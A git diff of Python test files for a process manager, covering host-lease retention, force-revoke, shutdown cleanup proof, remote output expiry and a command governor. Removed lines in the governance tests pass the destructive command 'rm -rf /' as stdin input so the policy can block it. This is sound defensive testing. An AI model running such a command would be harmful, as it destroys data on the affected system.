@@ -224,16 +304,18 @@ def disk_full(_info): summary = await registry.force_revoke_host("prod") assert summary == {"attempted": 1, "killed": 0, "unknown": 1} assert info.status != "killed" - assert info.host_lease is None - assert not hosts.has_active_leases("prod") - lease.release() + assert info.host_lease is lease + assert not lease._released + assert hosts.has_active_leases("prod") registry._persist_output = persist assert await info.process.terminate_tree(grace=0.5) - # The drainer may still be running after the forced shutdown fixture. - # Restore the real writer before it wakes so this test cannot leak an - # unhandled disk-full exception into a later test's event loop. - if info._reader_task is not None: - await info._reader_task + # Only the production watcher, not the fixture, retires this lease once + # the inert supervisor supplies affirmative whole-job cleanup proof. + await info._exit_task + await info._reader_task + assert info.session_confirmed_empty + assert info.host_lease is None and lease._released + assert not hosts.has_active_leases("prod") async def test_start_during_revoke_is_refused_and_releases_lease( self, hosts, registry, monkeypatch @@ -293,7 +375,7 @@ async def delayed(*args, **kwargs): assert "force-revoked" in result assert not hosts.has_active_leases("prod") - async def test_unverified_inflight_spawn_is_unknown_with_full_lifecycle_and_released_slot( + async def test_unverified_inflight_spawn_retains_ownership_and_admission_slot( self, hosts, registry, monkeypatch ): from src.tools import local_supervisor @@ -339,45 +421,60 @@ async def unverified(_info): assert info._reader_task is not None and not info._reader_task.done() assert info._exit_task is not None and not info._exit_task.done() assert len(lifetime_tasks) == 1 and not lifetime_tasks[0].done() - assert info.host_lease is None - assert lease._released - assert not hosts.has_active_leases("prod") - # A subsequent admission sees the slot as free even though cleanup - # could not be proven for this retained unknown record. + assert info.host_lease is lease + assert not lease._released + assert hosts.has_active_leases("prod") + # Unknown is not a running label, but unproven cleanup still owns an + # admission slot and the exact generation's host lease. assert sum(item.status == "running" for item in registry._processes.values()) == 0 + assert registry._active_count() == 1 - # This fixture intentionally reports unknown, but still owns a real - # local sleep. Remove it through the supervised-shell contract, then - # let both lifecycle observers settle before teardown. + # Settle the inert supervisor and let production observers retire it. await info.process.terminate_tree(grace=.1) for task in (info._exit_task, info._reader_task): await asyncio.wait_for(asyncio.shield(task), 15) + assert info.session_confirmed_empty + assert info.host_lease is None and lease._released + assert not hosts.has_active_leases("prod") + assert registry._active_count() == 0 lifetime_tasks[0].cancel() await asyncio.gather(lifetime_tasks[0], return_exceptions=True) - async def test_nested_revokes_keep_fence_until_last_call_finishes(self, registry, monkeypatch): - entered = asyncio.Event() - resume = asyncio.Event() + async def test_nested_revokes_keep_fence_until_last_call_finishes( + self, hosts, registry, monkeypatch + ): + entered = [asyncio.Event(), asyncio.Event()] + resume = [asyncio.Event(), asyncio.Event()] + calls = 0 async def paused(_info): - entered.set() - await resume.wait() + nonlocal calls + index = calls + calls += 1 + entered[index].set() + await resume[index].wait() return False - info = ProcessInfo( - pid=987652, command="(fixture)", host="127.0.0.1", start_time=time.time(), - status="running", host_alias="prod", - ) - registry._processes[info.pid] = info + _pid, info, lease = await start_local(registry, hosts) monkeypatch.setattr(registry, "_terminate_bound_host_job", paused) first = asyncio.create_task(registry.force_revoke_host("prod")) - await entered.wait() + await entered[0].wait() second = asyncio.create_task(registry.force_revoke_host("prod")) - await asyncio.sleep(0) - assert registry._revoking_aliases["prod"] == 2 - resume.set() - await asyncio.gather(first, second) + try: + await entered[1].wait() + assert registry._revoking_aliases["prod"] == 2 + resume[0].set() + assert await first == {"attempted": 1, "killed": 0, "unknown": 1} + assert registry._revoking_aliases["prod"] == 1 + assert not second.done(), "the final revoke still owns the admission fence" + finally: + for gate in resume: + gate.set() + summaries = await asyncio.gather(first, second) assert "prod" not in registry._revoking_aliases + assert summaries == [{"attempted": 1, "killed": 0, "unknown": 1}] * 2 + assert not info.session_confirmed_empty + assert info.host_lease is lease and not lease._released async def test_non_supervised_revoke_does_not_use_shutdown_adoption_scope( self, hosts, registry, monkeypatch @@ -410,7 +507,7 @@ async def test_only_running_jobs_bound_to_the_alias_are_attempted( assert summary["attempted"] == 1, "only the running prod job may be attempted" assert summary["killed"] == 1 - assert not pid_alive(running_pid) + assert not pid_alive(registry, running_pid) assert registry._processes[pid_for_alias(registry, "dev")].status == "running" async def test_host_alias_is_matched_for_local_records(self, hosts, registry): @@ -446,18 +543,19 @@ async def must_not_run(_info, timeout=8.0): async def test_output_is_revoked_for_local_records_on_the_alias( self, hosts, registry ): - # This assertion is about retained evidence, not the native supervisor. - # Other tests exercise live local termination; using a settled record - # here avoids introducing a second unrelated supervisor shutdown race. - info = ProcessInfo( - pid=987653, command="(finished fixture)", host="127.0.0.1", - start_time=time.time(), status="exited", host_alias="prod", - output_tail=b"fixture\n", total_output_bytes=8, retained_bytes=8, - ) - registry._processes[info.pid] = info + # Obtain settlement from the inert supervisor through production + # observers, not a fabricated proof bit on a handle-less record. + _pid, info, lease = await start_local(registry, hosts, command="true") + await info._exit_task + await info._reader_task + assert info.session_confirmed_empty and lease._released + info.output_tail = b"fixture\n" + info.total_output_bytes = info.retained_bytes = 8 assert info.output_revoked is False - await registry.force_revoke_host("prod") + assert await registry.force_revoke_host("prod") == { + "attempted": 0, "killed": 0, "unknown": 0, + } assert info.output_revoked is True assert info.output_tail == b"" @@ -483,7 +581,9 @@ async def test_exit_watcher_failure_marks_unknown_retires_lease_and_reaps( process=process, host_lease=lease, ) persisted = [] - registry._persist_output = lambda item: persisted.append(item.pid) + registry._persist_output = lambda item: persisted.append( + (item.pid, item.status, item.session_confirmed_empty, item.host_lease) + ) async def fail_wait(_process): raise RuntimeError("wait failed") @@ -500,7 +600,11 @@ async def confirm_reaped(*args, **kwargs): assert info.session_confirmed_empty is True assert info.host_lease is None and lease._released assert not hosts.has_active_leases("prod") - assert persisted == [process.pid] + # Persist uncertainty first, then cleanup proof and lease retirement. + assert persisted == [ + (process.pid, "unknown", False, lease), + (process.pid, "unknown", True, None), + ] async def test_exit_watcher_persist_failure_is_contained_and_reaped( self, registry, monkeypatch @@ -538,7 +642,7 @@ async def test_start_holds_the_lease_for_the_jobs_whole_life( # that dropped it would leave the alias with no live reference. assert info.host_lease is lease assert hosts.has_active_leases("prod") - assert pid_alive(pid) + assert pid_alive(registry, pid) async def test_expiring_output_never_releases_a_running_jobs_lease( self, hosts, registry @@ -603,7 +707,7 @@ async def test_cleanup_releases_a_lease_left_on_an_aged_record( info = ProcessInfo( pid=31337, command="(fixture)", host="127.0.0.1", start_time=time.time(), status="completed", exit_code=0, finished_at=time.time() - 90000, - host_alias="prod", host_lease=lease, + host_alias="prod", host_lease=lease, session_confirmed_empty=True, ) registry._processes[31337] = info @@ -612,6 +716,52 @@ async def test_cleanup_releases_a_lease_left_on_an_aged_record( assert lease._released assert sum(hosts._lease_counts.values()) == 0 + async def test_cleanup_retains_unproven_aged_terminal_generation( + self, hosts, registry + ): + _pid, info, lease = await start_local(registry, hosts) + # Model a terminal leader whose owned descendants remain unproven. + # No await here: the watcher cannot settle the inert supervisor until + # after cleanup's synchronous assertions. Teardown then drives the + # real settlement path, without inventing proof or discarding ownership. + info.process.exit_leader() + info.status = "completed" + info.exit_code = 0 + info.finished_at = time.time() - 90000 + + assert registry.cleanup() == 0 + assert registry._processes[info.pid] is info + assert not info.session_confirmed_empty + assert info.host_lease is lease and not lease._released + assert hosts.has_active_leases("prod") + + async def test_missing_handle_stays_unproven_through_shutdown(self, hosts, registry): + """Metadata-only ownership cannot be turned into affirmative proof.""" + from src.tools.process_manager import ProcessCleanupError + + lease = hosts.acquire("prod") + assert lease is not None + info = ProcessInfo( + pid=31336, command="(metadata-only fixture)", host="127.0.0.1", + start_time=time.time(), status="completed", exit_code=0, + finished_at=time.time() - 90000, host_alias="prod", host_lease=lease, + ) + registry._processes[info.pid] = info + try: + assert registry.cleanup() == 0 + with pytest.raises(ProcessCleanupError, match="31336"): + await registry.shutdown() + assert registry._processes[info.pid] is info + assert not info.session_confirmed_empty + assert info.host_lease is lease and not lease._released + assert hosts.has_active_leases("prod") + finally: + # This fixture never spawned anything. Remove its synthetic record + # and release the fixture-owned lease, not a production proof bit. + assert info.process is None and info._exit_task is None and info._reader_task is None + del registry._processes[info.pid] + lease.release() + async def test_refused_start_releases_the_reference(self, hosts, registry, monkeypatch): from src.tools import process_manager as pm @@ -725,7 +875,7 @@ async def test_denial_terminates_the_generation_it_denied( assert "was terminated" in output assert "outcome_unknown" not in output info = next(iter(registry._processes.values())) - assert not pid_alive(info.pid), "a denied caller must not leave a live process" + assert not pid_alive(registry, info.pid), "a denied caller must not leave a live process" assert info.status == "killed" async def test_unprovable_termination_is_reported_as_an_unknown_outcome( @@ -791,13 +941,14 @@ async def test_generation_lookup_is_exact_not_positional( ) assert other_lease is other.host_lease - async def test_generation_termination_treats_terminal_and_restored_records_as_settled( + async def test_generation_termination_requires_proof_even_for_terminal_or_restored_records( self, hosts, registry, monkeypatch ): """Evidence records are not authority to kill a process again.""" terminal = ProcessInfo( pid=31338, command="(terminal fixture)", host="127.0.0.1", start_time=time.time(), status="completed", generation="a" * 32, + session_confirmed_empty=True, ) restored = ProcessInfo( pid=31339, command="(restored fixture)", host="127.0.0.1", @@ -813,7 +964,7 @@ async def must_not_terminate(_info): monkeypatch.setattr(registry, "_terminate_bound_host_job", must_not_terminate) assert await registry.terminate_generation(terminal.generation) is True - assert await registry.terminate_generation(restored.generation) is True + assert await registry.terminate_generation(restored.generation) is False async def test_remote_generation_termination_accepts_confirmed_already_exited( self, hosts, registry, monkeypatch @@ -825,6 +976,7 @@ async def test_remote_generation_termination_accepts_confirmed_already_exited( registry._processes[remote.pid] = remote async def already_exited(_info): + _info.session_confirmed_empty = True return "Process already exited; poll to collect its outcome." monkeypatch.setattr(registry, "_kill_remote", already_exited) @@ -868,7 +1020,20 @@ async def cannot_verify(_info): class TestWriteGovernanceUsesTheBoundHost: @pytest.fixture - def governor(self): + def governor(self, monkeypatch): + # Real governor policy, inert risk labels: never destructive commands. + from src.tools import risk_classifier + + classify = risk_classifier.classify_command + + def classify_inert(command): + if command == HIGH_INPUT: + return RiskAssessment(RiskLevel.HIGH, "inert high-risk fixture") + if command == CRITICAL_INPUT: + return RiskAssessment(RiskLevel.CRITICAL, "inert critical-risk fixture") + return classify(command) + + monkeypatch.setattr(risk_classifier, "classify_command", classify_inert) return CommandGovernor(host_overrides={"prod": "strict"}) async def test_strict_host_blocks_high_risk_stdin(self, hosts, registry, governor): @@ -886,12 +1051,13 @@ def govern(command, host=None): ) output, code = await handler._handle_manage_process( - {"action": "write", "pid": pid, "input_text": "systemctl restart nginx"} + {"action": "write", "pid": pid, "input_text": HIGH_INPUT} ) assert code == 1 assert "Blocked" in output and "strict" in output assert seen == ["prod"] + assert registry._processes[pid].process.stdin.data == b"" async def test_non_strict_host_allows_the_same_stdin(self, hosts, registry, governor): handler, _state = make_handler(hosts, registry, governor) @@ -900,11 +1066,12 @@ async def test_non_strict_host_allows_the_same_stdin(self, hosts, registry, gove ) output, code = await handler._handle_manage_process( - {"action": "write", "pid": pid, "input_text": "systemctl restart nginx"} + {"action": "write", "pid": pid, "input_text": HIGH_INPUT} ) assert code == 0, output assert output.startswith("Wrote") + assert registry._processes[pid].process.stdin.data == HIGH_INPUT.encode() async def test_request_cannot_choose_the_policy_host(self, hosts, registry, governor): """The record's bound host decides, never a field the caller supplies.""" @@ -922,7 +1089,7 @@ def govern(command, host=None): ) output, code = await handler._handle_manage_process( - {"action": "write", "pid": pid, "input_text": "systemctl restart nginx", + {"action": "write", "pid": pid, "input_text": HIGH_INPUT, "host": "dev"} ) @@ -947,7 +1114,7 @@ def govern(command, host=None): ) output, code = await handler._handle_manage_process( - {"action": "write", "pid": pid, "input_text": "rm -rf /"} + {"action": "write", "pid": pid, "input_text": CRITICAL_INPUT} ) assert seen == ["dev"], "the bound alias is still what is judged" @@ -961,9 +1128,10 @@ async def test_denied_stdin_sends_no_bytes(self, hosts, registry, governor): ) output, code = await handler._handle_manage_process( - {"action": "write", "pid": pid, "input_text": "rm -rf /"} + {"action": "write", "pid": pid, "input_text": CRITICAL_INPUT} ) assert code == 1 - assert "rm -rf" not in await registry.poll(pid) + assert info.process.stdin.data == b"" + assert CRITICAL_INPUT not in await registry.poll(pid) assert info.status == "running" diff --git a/tests/test_process_kill_status.py b/tests/test_process_kill_status.py index 1e5570231..2d0b5a6bd 100644 --- a/tests/test_process_kill_status.py +++ b/tests/test_process_kill_status.py @@ -17,10 +17,15 @@ async def test_remote_kill_then_poll_preserves_cause(monkeypatch, pid): registry._processes[pid] = info info.remote_lease = _Lease() registry._remote_exec = AsyncMock(return_value=(0, json.dumps({ - "ok": True, "status": "exited", "exit": {"exit_code": -15}, + "ok": True, "status": "exited", "exit": { + "exit_code": -15, "empty": True, "containment": "owned_descendants", + }, }))) monkeypatch.setattr(registry, "_remote_call", AsyncMock(side_effect=[ - (0, json.dumps({"ok": True, "killed": True, "exit": {"exit_code": -15}})), + (0, json.dumps({ + "ok": True, "killed": True, "empty": True, + "containment": "owned_descendants", "exit": {"exit_code": -15}, + })), (0, json.dumps({"ok": True, "status": "exited", "exit": {"exit_code": -15}})), ])) assert "killed" in await registry.kill(pid) @@ -34,16 +39,26 @@ async def test_remote_kill_then_poll_preserves_cause(monkeypatch, pid): assert info.status == "killed" -async def test_local_kill_preserves_observed_exit(monkeypatch): +@pytest.mark.parametrize("proven", [True, False]) +async def test_local_kill_preserves_observed_exit(monkeypatch, proven): registry = ProcessRegistry() process = MagicMock(returncode=-15) info = ProcessInfo(pid=17, host="test-host", command="test", start_time=0, process=process) registry._processes[17] = info monkeypatch.setattr("src.tools.ssh.terminate_process_tree", AsyncMock()) - assert "killed" in await registry.kill(17) - assert info.status == "killed" - assert info.exit_code == -15 - assert "killed" in registry.list_all() + proof = AsyncMock(return_value=proven) + monkeypatch.setattr(registry, "_kill_group_until_gone", proof) + result = await registry.kill(17) + proof.assert_awaited_once_with(info) + assert info.session_confirmed_empty is proven + if proven: + assert result.endswith(" killed.") + assert info.status == "killed" + assert info.exit_code == -15 + assert "killed" in registry.list_all() + else: + assert "outcome_unknown=true" in result + assert info.status == "unknown" and info.exit_code is None @pytest.mark.parametrize("reply", [{"ok": False}, {"ok": True, "already_exited": True}]) diff --git a/tests/test_process_manager.py b/tests/test_process_manager.py index d966ac7d6..ac163e8b0 100644 --- a/tests/test_process_manager.py +++ b/tests/test_process_manager.py @@ -7,10 +7,9 @@ import asyncio import os -import sys import time from collections import deque -from pathlib import Path +from types import SimpleNamespace from unittest.mock import AsyncMock, MagicMock import pytest @@ -19,32 +18,65 @@ MAX_CONCURRENT, MAX_LIFETIME_SECONDS, OUTPUT_BUFFER_LINES, - SHUTDOWN_REAP_TIMEOUT, + ProcessCleanupError, ProcessInfo, ProcessRegistry, ) -async def _run_isolated_shutdown_probe(name: str) -> None: - """Keep real kernel cleanup proofs out of pytest's adopted-orphan set.""" - helper = Path(__file__).with_name("helpers") / "process_manager_shutdown_isolation.py" - proc = await asyncio.create_subprocess_exec( - sys.executable, str(helper), name, - stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, - start_new_session=True, +async def _run_inert_shutdown_probe(monkeypatch, *, resistant: bool, proven: bool) -> None: + """Run the real deadline barrier without signaling a kernel process. + + Completed leaders deliberately lack descendant settlement. Only the + substituted scanner may supply a verdict; failure must block shutdown. + """ + import src.tools.process_manager as pm + + reg = ProcessRegistry() + gate, entered = asyncio.Event(), asyncio.Event() + + async def blocked(): + entered.set() + while not gate.is_set(): + try: + await gate.wait() + except asyncio.CancelledError: + if not resistant: + raise + + info = ProcessInfo( + pid=4_000_001, command="inert fixture", host="local", start_time=time.time(), + status="completed", exit_code=0, + process=SimpleNamespace(pid=4_000_001, returncode=0), ) + task = info._exit_task = asyncio.create_task(blocked()) + reg._processes[info.pid] = info + await entered.wait() + monkeypatch.setattr(pm, "SHUTDOWN_REAP_TIMEOUT", .02) + terminate = AsyncMock(return_value=False) + monkeypatch.setattr(reg, "terminate_generation", terminate) + + async def scan(record): + assert record is info + record.session_confirmed_empty = proven + return proven + + proof = AsyncMock(side_effect=scan) + monkeypatch.setattr(reg, "_kill_group_until_gone", proof) try: - output, _ = await asyncio.wait_for( - proc.communicate(), timeout=SHUTDOWN_REAP_TIMEOUT + 35, - ) - assert proc.returncode == 0, output.decode("utf-8", "replace") + if proven: + assert await asyncio.wait_for(reg.shutdown(), timeout=1) == 0 + else: + with pytest.raises(ProcessCleanupError, match="could not confirm"): + await asyncio.wait_for(reg.shutdown(), timeout=1) + terminate.assert_awaited_once_with(info.generation) + assert proof.await_count == (1 if proven else 2) + assert info.session_confirmed_empty is proven + if resistant: + assert not task.done() finally: - if proc.returncode is None: - # A timed-out probe is still our dedicated session. Reap its - # exact tree rather than allowing test cancellation to leak it. - from src.tools.ssh import terminate_process_tree - - await asyncio.shield(terminate_process_tree(proc, grace=0.5)) + gate.set() + await asyncio.gather(task, return_exceptions=True) # --------------------------------------------------------------------------- # ProcessInfo @@ -477,17 +509,23 @@ async def test_kill_already_completed(self): status="completed", ) reg._processes[1] = info + # This fixture represents settlement, not merely a leader's exit. + info.session_confirmed_empty = True result = await reg.kill(1) assert "already completed" in result @pytest.mark.asyncio - async def test_kill_running(self): + async def test_kill_running(self, monkeypatch): reg = ProcessRegistry() mock_proc = AsyncMock() mock_proc.returncode = -15 mock_proc.terminate = MagicMock() mock_proc.kill = MagicMock() mock_proc.wait = AsyncMock() + # Only publication is under test; never signal a synthetic PID. + monkeypatch.setattr("src.tools.ssh.terminate_process_tree", AsyncMock()) + proof = AsyncMock(return_value=True) + monkeypatch.setattr(reg, "_kill_group_until_gone", proof) info = ProcessInfo( pid=1, command="test", @@ -500,6 +538,27 @@ async def test_kill_running(self): assert "killed" in result assert info.status == "killed" assert info.exit_code == -15 + proof.assert_awaited_once_with(info) + assert info.session_confirmed_empty + + @pytest.mark.asyncio + async def test_completed_without_session_proof_is_not_a_settled_kill(self): + reg = ProcessRegistry() + info = ProcessInfo( + pid=4_000_001, command="inert fixture", host="local", + start_time=time.time(), status="completed", exit_code=0, + ) + lease = MagicMock() + info.host_lease = lease + reg._processes[info.pid] = info + result = await reg.kill(info.pid) + assert "cleanup unverified outcome_unknown=true" in result + assert info.status == "unknown" and not info.session_confirmed_empty + lease.release.assert_not_called() + assert not await reg.terminate_generation(info.generation) + with pytest.raises(ProcessCleanupError, match="could not confirm"): + await reg.shutdown() + lease.release.assert_not_called() # --------------------------------------------------------------------------- @@ -577,11 +636,16 @@ async def test_shutdown_requests_kill_for_running_mock_record(self, monkeypatch) start_time=time.time(), ) reg._processes[1] = info - kill = AsyncMock(return_value="Process 1 killed.") - monkeypatch.setattr(reg, "kill", kill) + async def settle(generation): + assert generation == info.generation + info.session_confirmed_empty = True + return True + + terminate = AsyncMock(side_effect=settle) + monkeypatch.setattr(reg, "terminate_generation", terminate) killed = await reg.shutdown() assert killed == 1 - kill.assert_awaited_once_with(1) + terminate.assert_awaited_once_with(info.generation) @pytest.mark.asyncio async def test_shutdown_skips_completed(self): @@ -594,6 +658,7 @@ async def test_shutdown_skips_completed(self): status="completed", ) reg._processes[1] = info + info.session_confirmed_empty = True killed = await reg.shutdown() assert killed == 0 @@ -610,6 +675,7 @@ def test_cleanup_removes_old_dead(self): start_time=time.time() - MAX_LIFETIME_SECONDS - 100, status="completed", finished_at=time.time() - 86401, + session_confirmed_empty=True, ) removed = reg.cleanup() assert removed == 1 @@ -636,6 +702,19 @@ def test_cleanup_keeps_recent_dead(self): removed = reg.cleanup() assert removed == 0 + def test_cleanup_keeps_aged_unsettled_authority(self): + reg = ProcessRegistry() + lease = MagicMock() + info = ProcessInfo( + pid=4_000_001, command="inert fixture", host="local", + start_time=time.time() - 90000, finished_at=time.time() - 86401, + status="unknown", host_lease=lease, + ) + reg._processes[info.pid] = info + assert reg.cleanup() == 0 + assert reg._processes[info.pid] is info + lease.release.assert_not_called() + # --------------------------------------------------------------------------- # Constants @@ -663,6 +742,7 @@ async def test_cleanup_never_cancels_inflight_reap(self): async def slow_reap(): await gate.wait() + info.session_confirmed_empty = True task = asyncio.create_task(slow_reap()) await asyncio.sleep(0) @@ -761,14 +841,14 @@ def test_binary_garbage_bounded_carry(self): class TestRound3Blockers: - async def test_shutdown_hard_kills_group_before_abandoning_wedged_reap(self): + @pytest.mark.parametrize("proven", [True, False]) + async def test_shutdown_hard_kills_group_before_abandoning_wedged_reap( + self, monkeypatch, proven, + ): """PR #244 round-3 blocker #2: a wedged async reap must not strand the owned group across re-exec — shutdown hard-KILLs the group synchronously before cancelling the task.""" - # The suite runner is a subreaper and can retain unrelated orphaned - # children from preceding modules. The helper owns a fresh orphan - # inventory, so its affirmative scan proves this session only. - await _run_isolated_shutdown_probe("wedged") + await _run_inert_shutdown_probe(monkeypatch, resistant=False, proven=proven) async def test_zero_wait_poll_settles_when_returncode_beats_publication(self): """PR #244 round-3 blocker #3: returncode set but status not yet @@ -955,11 +1035,12 @@ def test_stat_missing_is_gone(self): class TestShutdownBarrier: - async def test_cancellation_resistant_task_cannot_hang_shutdown(self): + @pytest.mark.parametrize("proven", [True, False]) + async def test_cancellation_resistant_task_cannot_hang_shutdown(self, monkeypatch, proven): """Round-5 blocker #1 (Odin's repro): a lifecycle task that SWALLOWS cancellation must not hold shutdown — the barrier is bounded by process state, never by awaiting the task.""" - await _run_isolated_shutdown_probe("resistant") + await _run_inert_shutdown_probe(monkeypatch, resistant=True, proven=proven) async def test_barrier_reports_failure_when_scan_cannot_complete( self, monkeypatch @@ -978,10 +1059,14 @@ async def test_barrier_reports_failure_when_scan_cannot_complete( ) assert await reg._kill_group_until_gone(info, timeout=0.5) is False - async def test_kill_group_until_gone_no_process_is_true(self): + @pytest.mark.parametrize("settled", [True, False]) + async def test_kill_group_until_gone_no_process_requires_prior_proof(self, settled): reg = ProcessRegistry() - info = ProcessInfo(pid=1, command="x", host="local", start_time=0.0) - assert await reg._kill_group_until_gone(info) is True + info = ProcessInfo( + pid=4_000_001, command="x", host="local", start_time=0.0, + session_confirmed_empty=settled, + ) + assert await reg._kill_group_until_gone(info) is settled class TestRaceFreeHelperArms: diff --git a/tests/test_process_output_retention.py b/tests/test_process_output_retention.py index 7b31b7129..955c2f647 100644 --- a/tests/test_process_output_retention.py +++ b/tests/test_process_output_retention.py @@ -2,10 +2,13 @@ from __future__ import annotations import asyncio +import base64 import json +import os import shlex import sys import time +from contextlib import asynccontextmanager from types import SimpleNamespace import pytest @@ -18,7 +21,96 @@ ProcessInfo, ProcessRegistry, ) -from tests.test_remote_process_streaming import _remote_job +from tests.test_remote_process_streaming import _Lease + + +@asynccontextmanager +async def _remote_job(root, producer): + """Real protocol and inert producers, without signal/removal cleanup. + + Only the destructive kernel/filesystem boundaries are guarded. The real + supervisor's group-only evidence is never upgraded to descendant ownership. + Producers must exit naturally, including after their disposable FIFO ACK. + """ + from src.tools import process_manager as pm + + guard = ( + "import os,shutil\n" + "_probe_group=os.killpg\n" + "def probe_only(pgid,sig):\n" + " if sig: raise AssertionError('fixture attempted a process signal')\n" + " return _probe_group(pgid,0)\n" + "os.killpg=probe_only\n" + "def forbid_signal(*args): raise AssertionError('fixture attempted a process signal')\n" + "os.kill=forbid_signal\n" + "def record_expiry(path):\n" + " open(path+'/expiry-requested','w').write('identity-bound expiry requested')\n" + "shutil.rmtree=record_expiry\n" + ) + os.mkfifo(root / "in", 0o600) + command = shlex.join(["exec", sys.executable, "-u", "-c", producer]) + supervisor = await asyncio.create_subprocess_exec( + sys.executable, "-c", guard + pm._REMOTE_SUPERVISOR, str(root), "hermetic-job", + base64.b64encode(command.encode()).decode(), "30", + stdin=asyncio.subprocess.DEVNULL, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, + ) + + async def remote_exec(_target, command, timeout): + argv = shlex.split(command) + assert argv[:2] == ["python3", "-c"] + controller = await asyncio.create_subprocess_exec( + sys.executable, "-c", guard + argv[2], *argv[3:], + stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, + ) + output, _ = await asyncio.wait_for(controller.communicate(), timeout) + return controller.returncode, output.decode() + + try: + deadline = time.monotonic() + 5 + while not (root / "ready.json").exists(): + assert supervisor.returncode is None, "supervisor exited before readiness" + assert time.monotonic() < deadline, "supervisor did not become ready" + await asyncio.sleep(0.02) + ready = json.loads((root / "ready.json").read_text()) + lease = _Lease() + info = ProcessInfo( + -1, command, lease.target.alias, time.time(), remote=True, + remote_dir=str(root), remote_token=ready["token"], + remote_pid=ready["pid"], remote_pgid=ready["pgid"], + remote_sid=ready["sid"], remote_start_id=ready["start_id"], remote_lease=lease, + ) + registry = ProcessRegistry(remote_exec=remote_exec) + registry._processes[-1] = info + direct_poll = registry.poll + + async def poll_with_fresh_read_lease(*args, **kwargs): + fresh = None + if info.remote_lease is None and "output_lease" not in kwargs: + fresh = _Lease() + kwargs["output_lease"] = fresh + try: + return await direct_poll(*args, **kwargs) + finally: + if fresh is not None: + fresh.release() + + registry.poll = poll_with_fresh_read_lease + yield registry, info, lease, supervisor + finally: + # An assertion may fail before the ACK. Complete only our own inert + # producer, never signal a stale numeric PID/PGID or delete evidence. + if supervisor.returncode is None and (root / "in").exists(): + fd = os.open(root / "in", os.O_RDWR | os.O_NONBLOCK) + try: + os.write(fd, b"ack\n") + finally: + os.close(fd) + output, _ = await asyncio.wait_for(supervisor.communicate(), 15) + assert supervisor.returncode == 0, output.decode() + record = json.loads((root / "exit.json").read_text()) + assert record["empty"] is True and record["group_empty"] is True + assert record["containment"] == "process_group_only" def page(raw): @@ -135,8 +227,13 @@ async def test_remote_begin_middle_end_after_exit_replay_and_read_only(tmp_path) await supervisor.wait() preview = await reg.poll(-1) meta = json.loads(preview.split("\n[output retention] ")[1]) + assert "status=completed exit_code=0" in preview + assert "outcome_unknown=true" not in preview + assert meta["containment"] == "process_group_only" + assert meta["cleanup_caveat"] == "escaped descendants are unverified" assert info.remote_lease is None and info.output_lease is None - assert lease.release_count == 1 + assert info.session_confirmed_empty and lease.release_count == 1 + assert info.finished_at is not None first = page(await reg.poll(-1, cursor=meta["cursor"], limit=8000)) replay = await asyncio.gather(*(reg.poll(-1, cursor=first["cursor"]) for _ in range(3))) assert replay[0] == replay[1] == replay[2] @@ -148,10 +245,14 @@ async def test_remote_begin_middle_end_after_exit_replay_and_read_only(tmp_path) assert last["text"].encode() == text.encode()[last_start:] assert not last["truncated"] assert "not running" in await reg.write(-1, "bad") - assert "already" in await reg.kill(-1) - await reg.force_revoke_host(info.host) + refused = await reg.kill(-1) + assert "already completed" in refused and "containment=process_group_only" in refused + assert info.remote_lease is None and lease.release_count == 1 + summary = await reg.force_revoke_host(info.host) + assert summary == {"attempted": 0, "killed": 0, "unknown": 0} assert "revoked" in await reg.poll(-1, cursor=meta["cursor"]) - assert lease.release_count == 1 + assert lease.release_count == 1 and info.remote_lease is None + assert info.session_confirmed_empty @pytest.mark.asyncio @@ -224,11 +325,17 @@ async def test_remote_manifest_restart_generation_and_real_lease_revocation(tmp_ restored = ProcessRegistry(remote_exec=reg._remote_exec, retention_dir=directory) retained = restored.output_info(-1, first["cursor"]) assert retained.restored and retained.remote_lease is None + assert retained.status == "completed" and retained.session_confirmed_empty + assert retained.containment == "process_group_only" + assert "not running" in await restored.write(-1, "must-not-write") + assert "already completed" in await restored.kill(-1) assert "unavailable" in await restored.poll(-1, cursor=first["cursor"]) fresh = HostRegistry.unmanaged_lease("fixture", ("example.test", "tester", "linux")) try: result = page(await restored.poll(-1, cursor=first["cursor"], output_lease=fresh)) assert result["text"] == "art evidence\n" + assert result["containment"] == "process_group_only" + assert result["cleanup_caveat"] == "escaped descendants are unverified" assert retained.output_lease is None fresh._revoked.set() denied = await restored.poll(-1, offset=0, output_lease=fresh) @@ -285,26 +392,41 @@ async def test_running_split_secret_withheld_and_quota_failure_honest(tmp_path, @pytest.mark.asyncio -async def test_remote_physical_expiry_through_identity_bound_controller(tmp_path): +async def test_remote_expiry_requests_identity_bound_removal_after_execution_retirement(tmp_path): async with _remote_job(tmp_path, "print('expires')") as (reg, info, lease, supervisor): await supervisor.wait() await reg.poll(-1) exit_path = tmp_path / "exit.json" record = json.loads(exit_path.read_text()) - record["finished_at"] = time.time() - OUTPUT_RETENTION_SECONDS - 1 - exit_path.write_text(json.dumps(record)) - info.finished_at = record["finished_at"] - # No execution lease is held for the retention period. Physical cleanup - # uses a newly authorized controller call, never the released lease. + # Group-only cleanup retired execution authority. Evidence expiry + # still requires a fresh identity-bound read/retention lease. from tests.test_remote_process_streaming import _Lease fresh = _Lease() try: command = reg._remote_controller_command(info, "expire") rc, reply = await fresh.run(lambda: reg._remote_exec(fresh.target, command, 15)) - assert rc == 0 and json.loads(reply)["ok"] + assert rc == 10 and not json.loads(reply)["ok"] + assert not (tmp_path / "expiry-requested").exists() + record["finished_at"] = time.time() - OUTPUT_RETENTION_SECONDS - 1 + exit_path.write_text(json.dumps(record)) + info.finished_at = record["finished_at"] + original_token = info.remote_token + info.remote_token = "wrong-generation" + command = reg._remote_controller_command(info, "expire") + info.remote_token = original_token + rc, reply = await fresh.run(lambda: reg._remote_exec(fresh.target, command, 15)) + assert rc == 3 and json.loads(reply)["unknown"] + assert not (tmp_path / "expiry-requested").exists() finally: fresh.release() + assert fresh.release_count == 1 + expiry_lease = _Lease() + reg._acquire_output_lease = lambda retained: expiry_lease if retained is info else None await reg._expire_output_at_deadline(info) - assert not tmp_path.exists() + assert expiry_lease.release_count == 1 + assert (tmp_path / "expiry-requested").read_text() == "identity-bound expiry requested" + assert tmp_path.exists() # removal boundary is inert in this fixture assert info.output_revoked and lease.release_count == 1 + assert info.remote_lease is None and info.output_lease is None + assert info.session_confirmed_empty and info.status == "completed" diff --git a/tests/test_process_read_leases.py b/tests/test_process_read_leases.py index 3b92c9f5a..235a93c4b 100644 --- a/tests/test_process_read_leases.py 